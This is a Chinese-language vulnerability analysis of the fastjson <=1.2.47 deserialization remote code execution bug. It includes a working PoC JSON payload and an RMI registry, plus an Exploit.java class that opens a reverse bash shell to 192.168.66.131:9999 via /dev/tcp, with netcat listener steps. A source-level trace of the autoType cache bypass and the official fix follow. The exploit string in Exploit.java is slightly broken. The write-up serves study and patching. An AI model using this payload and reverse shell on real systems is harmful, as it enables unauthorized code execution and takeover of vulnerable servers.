简介
fastjson 是由阿里开发的一种 json 的解析器和生成器。在 2019 年 6 月 26 日,用户提出 issue [1],存在远程代码执行的版本 <=1.2.47。
环境准备
- jdk 1.6.0.65
- fastjson 1.2.47
Let's Hack
POC
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
复现采用 jndi 利用方式,建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE[2] ,了解 jndi 注入。
RMIRegistry.java
package deserialize;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIRegistry { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit", "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); }}
Exploit.java
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec(); return null; } private static void exec() { try { Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999 } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { exec(); }}
POC.java
package deserialize;import com.alibaba.fastjson.JSON;public class POC { public static void main(String[] argv) { String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x1001\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}"; JSON.parse(payload); }}
- 使用
javac
编译Exploit.java
,得到的Exploit.class
,放入本地或其他服务器(由于 rmi servicei 请求80端口,所以保证服务器绑定在80端口)的根目录。 - 运行 RMIRegistry.java。
- 攻击机(192.168.66.13) 运行
netcat -lvvp 9999
监听 9999 端口,运行 POC.java,如图 3-1可以看到成功拿到 shell。图3-1
漏洞原理
Fastjson 中负责处理 parse 的一般是 DefaultJSONParser.parseObject
。fastjson 中将带解析的数据用 JSONLexer 封装。对如下解析的数据
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
从左向右解析。
在图 4-1 中,当解析到@type
时,进入checkAutoType
,传入的参数typeName=java.lang.Class
,跟进checkAutoType方法。
public Class> checkAutoType(String typeName, Class> expectClass, int features) { if (typeName == null) { return null; } //省略部分代码 if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值,刚开始没有存入对象,取出值为null } if (clazz == null) { clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象 } if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes,也就是黑名单过滤 long hash = h3; for (int i = 3; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } //省略部分代码 return clazz; }
在TypeUtils.getClassFromMapping
方法,第一次没有存入 cache 为 null,跟进deserializers.findClass(typeName)
,可以看到该方法通过keyString(这里传入的是java.lang.class)
匹配this.buckets
的 className,this.buckets
存在java.lang.class
,所以返回java.lang.class
。
public Class findClass(String keyString) { for(int i = 0; i < this.buckets.length; ++i) { IdentityHashMap.Entry bucket = this.buckets[i]; if (bucket != null) { for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) { Object key = bucket.key; if (key instanceof Class) { Class clazz = (Class)key; String className = clazz.getName(); if (className.equals(keyString)) { return clazz; } } } } } return null; }
回到DefaultJSONParser.parseObject()
方法,继续跟进,如下图 4-2,通过 config.getDeserializer
获得反序列化的路由类 MiscCodec
。并调用该路由类的deserialze(this, clazz, fieldName)
方法,
跟进该方法中,如图 4-3,主要调用parser.parse()
方法提取到com.sun.rowset.JdbcRowSetImpl
赋给objVal对象。
继续往下走,如图 4-4,调用TypeUtils.loadClass
。
跟进loadClass(String className, ClassLoader classLoader)
方法,如图 4-5,loadClass
调用该方法的重载方法,设置为true。
跟进loadClass
的重载方法,将com.sun.rowset.JdbcRowSetImpl
存入上文在checkAutoType
中提到mappings
中(即缓存中)。
至此第一部分解析完了,主要做的是将com.sun.rowset.JdbcRowSetImpl
存入 mappings 中,接下来解析第二部分,让我们回到DefaultJSONParser.parseObject()
,解析的第二个键值对如下:
"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
和第一个一样,不同的是,此时的 typeName 为com.sun.rowset.JdbcRowSetImpl
。
跟进config.checkAutoType(String typeName, Class> expectClass, int features)
方法,如图 4-8,由于第一次解析中将com.sun.rowset.JdbcRowSetImpl
存入 mappings 中。如图 4-9,这次直接通过TypeUtils.getClassFromMapping(typeName);
获取到 com.sun.rowset.JdbcRowSetImpl 对象。并返回该对象。(同样绕过 checkAutoType 中黑名单限制以及 autoType 开关的检查)
和第一次一样,如图 4-10调用deserializer.deserialze(this, clazz, fieldName)
,不同的是这次得到的反序列化路由类为FastjsonASMDeserializer
。
图4-10
跟进deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags)
,首先有一些 asm 操作,接着调用如deserialze
方法,如图 4-11。
在setValue
中通过method.invoke(object, value)
反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit
方法
图4-12
跟进setAutoCommit
中,如图4-13调用this.connect()
如图4-14this.connect()
对成员变量 dataSourceName 进行 lookup,成功利用 jndi 注入。
Exec:620,Runtime //命令执行Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数setValue:96,FieldDeserializer //反射调用传入类的set函数deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数parseObject:368,DefaultJSONParser //解析传入的json字符串
官方修复
官方在 1.2.48 版本更改以下代码进行修复,推荐升级到最新版本。
- 黑名单修复,增加8409640769019589119(java.lang.Class)*1459860845934817624(java.net.InetAddress)*两个类的黑名单。
- MiscCodec.java 文件对 cache 缓存设置成 false
- ParserConfig.java 文件对 checkAutoType()进行了相关策略调整.
漏洞检测
采用一些三方组件自动化检测工具,如安全玻璃盒 IAST 产品等,结果如下:
参考资料
[1]issue: https://github.com/alibaba/fastjson/issues/2513
[2]us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf